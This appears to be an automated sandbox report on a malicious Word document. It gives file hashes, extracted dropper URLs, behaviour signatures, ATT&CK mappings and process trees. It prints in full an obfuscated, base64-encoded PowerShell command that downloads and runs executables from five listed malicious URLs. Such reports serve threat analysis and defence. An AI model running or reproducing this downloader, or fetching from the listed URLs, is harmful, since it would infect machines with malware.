f412a78d93f03f39f6a58c865c75d6481a3ecfb83a3fdbf1ed32c0c546a773f5

General

Target

f412a78d93f03f39f6a58c865c75d6481a3ecfb83a3fdbf1ed32c0c546a773f5.doc
Size

143KB
MD5

8ec323edb643a73a6fa43fccacf6deca
SHA1

9cb74cfb6cb5991866159c1ccf5e5606c24ea051
SHA256

f412a78d93f03f39f6a58c865c75d6481a3ecfb83a3fdbf1ed32c0c546a773f5
SHA512

57917137808d4ea22313b72470fbade7d10e4ed5c4588b01384eb5bd964417aee1913a9da745466aba3ae86d6afb8b0b75f9e2c79dede4eda74a930fbbcfc7cc

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://splussystems.com/wp-admin/eUJLagjD/

exe.dropper

http://www.portduo.com/wp-content/KdWRhFjK/

exe.dropper

http://telenvivo.com/hq1g/vp33l1h56_o4b8mev9qw-7034/

exe.dropper

http://luxuryindiancatering.co.uk/wp-includes/ukoe_7v10mk-02/

exe.dropper

http://prizma.ch/wp-content/fFVmwFqTq/

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3068	508	powErSHell.exe	83

Blocklisted process makes network request 5 IoCs

flow	pid	Process
58	3068	powErSHell.exe
61	3068	powErSHell.exe
63	3068	powErSHell.exe
65	3068	powErSHell.exe
66	3068	powErSHell.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
4912	WINWORD.EXE
4912	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
3068	powErSHell.exe
3068	powErSHell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3068	powErSHell.exe

Suspicious use of SetWindowsHookEx 7 IoCs

pid	Process
4912	WINWORD.EXE
4912	WINWORD.EXE
4912	WINWORD.EXE
4912	WINWORD.EXE
4912	WINWORD.EXE
4912	WINWORD.EXE
4912	WINWORD.EXE

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\f412a78d93f03f39f6a58c865c75d6481a3ecfb83a3fdbf1ed32c0c546a773f5.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:4912

C:\Windows\System32\WindowsPowerShell\v1.0\powErSHell.exe
powErSHell -e JABiADMAMAAyADUAMgAzAD0AJwBLADcAMQA0ADUAXwAwAF8AJwA7ACQAVAAwADUANwA1ADgANgAyACAAPQAgACcAMQAwADYAJwA7ACQAUwAzADcAMgA4ADgAMAA9ACcAUgAxADMANwA0ADMANwAnADsAJAB0AF8ANQAzADMAMAAzADEAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAJwBcACcAKwAkAFQAMAA1ADcANQA4ADYAMgArACcALgBlAHgAZQAnADsAJABwADIANwA1ADIANgA9ACcAWQBfADgANgA5ADUANwAnADsAJAB6ADkAMQA5ADEAMwA5AD0ALgAoACcAbgBlAHcALQBvAGIAJwArACcAagBlACcAKwAnAGMAdAAnACkAIABOAEUAYABUAC4AVwBgAGUAYgBjAEwASQBFAG4AVAA7ACQAUAAwADYANwA0ADQAMgA9ACcAaAB0AHQAcAA6AC8ALwBzAHAAbAB1AHMAcwB5AHMAdABlAG0AcwAuAGMAbwBtAC8AdwBwAC0AYQBkAG0AaQBuAC8AZQBVAEoATABhAGcAagBEAC8AQABoAHQAdABwADoALwAvAHcAdwB3AC4AcABvAHIAdABkAHUAbwAuAGMAbwBtAC8AdwBwAC0AYwBvAG4AdABlAG4AdAAvAEsAZABXAFIAaABGAGoASwAvAEAAaAB0AHQAcAA6AC8ALwB0AGUAbABlAG4AdgBpAHYAbwAuAGMAbwBtAC8AaABxADEAZwAvAHYAcAAzADMAbAAxAGgANQA2AF8AbwA0AGIAOABtAGUAdgA5AHEAdwAtADcAMAAzADQALwBAAGgAdAB0AHAAOgAvAC8AbAB1AHgAdQByAHkAaQBuAGQAaQBhAG4AYwBhAHQAZQByAGkAbgBnAC4AYwBvAC4AdQBrAC8AdwBwAC0AaQBuAGMAbAB1AGQAZQBzAC8AdQBrAG8AZQBfADcAdgAxADAAbQBrAC0AMAAyAC8AQABoAHQAdABwADoALwAvAHAAcgBpAHoAbQBhAC4AYwBoAC8AdwBwAC0AYwBvAG4AdABlAG4AdAAvAGYARgBWAG0AdwBGAHEAVABxAC8AJwAuAFMAUABMAEkAVAAoACcAQAAnACkAOwAkAE8AOAA4ADYAOQA0AD0AJwBqADIANAA2ADEAMwA0ACcAOwBmAG8AcgBlAGEAYwBoACgAJABQADcAOQAxADcANQA5ACAAaQBuACAAJABQADAANgA3ADQANAAyACkAewB0AHIAeQB7ACQAegA5ADEAOQAxADMAOQAuAEQATwB3AE4ATABPAEEARABmAEkATABFACgAJABQADcAOQAxADcANQA5ACwAIAAkAHQAXwA1ADMAMwAwADMAMQApADsAJABQADYAMQBfADIAMQA5ADQAPQAnAFMAMAA3ADcAOABfADMAXwAnADsASQBmACAAKAAoAC4AKAAnAEcAZQB0AC0ASQB0ACcAKwAnAGUAbQAnACkAIAAkAHQAXwA1ADMAMwAwADMAMQApAC4AbABlAG4ARwB0AEgAIAAtAGcAZQAgADMAOAA5ADEANQApACAAewAmACgAJwBJAG4AJwArACcAdgBvAGsAZQAnACsAJwAtAEkAdABlACcAKwAnAG0AJwApACAAJAB0AF8ANQAzADMAMAAzADEAOwAkAEIAOQA1AF8ANgA1ADEAMAA9ACcAUwA5ADEAMgAyADcAMgAzACcAOwBiAHIAZQBhAGsAOwAkAEoANwA1ADAANgAxADYAOAA9ACcASwA1ADUAXwA0ADgANwBfACcAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAHAANQA5ADIAXwAyADYAPQAnAFcAMQA5ADQANgA3ADUAJwA=
1⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3068

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/3068-138-0x000001DDF9E00000-0x000001DDF9E22000-memory.dmp

Filesize
136KB

Download
memory/3068-139-0x00007FF83A610000-0x00007FF83B0D1000-memory.dmp

Filesize
10.8MB

Download
memory/3068-140-0x00007FF83A610000-0x00007FF83B0D1000-memory.dmp

Filesize
10.8MB

Download
memory/4912-130-0x00007FF8262B0000-0x00007FF8262C0000-memory.dmp

Filesize
64KB

Download
memory/4912-131-0x00007FF8262B0000-0x00007FF8262C0000-memory.dmp

Filesize
64KB

Download
memory/4912-132-0x00007FF8262B0000-0x00007FF8262C0000-memory.dmp

Filesize
64KB

Download
memory/4912-133-0x00007FF8262B0000-0x00007FF8262C0000-memory.dmp

Filesize
64KB

Download
memory/4912-134-0x00007FF8262B0000-0x00007FF8262C0000-memory.dmp

Filesize
64KB

Download
memory/4912-135-0x00007FF823B00000-0x00007FF823B10000-memory.dmp

Filesize
64KB

Download
memory/4912-136-0x00007FF823B00000-0x00007FF823B10000-memory.dmp

Filesize
64KB

Download
memory/4912-137-0x000001CA781D0000-0x000001CA781D4000-memory.dmp

Filesize
16KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads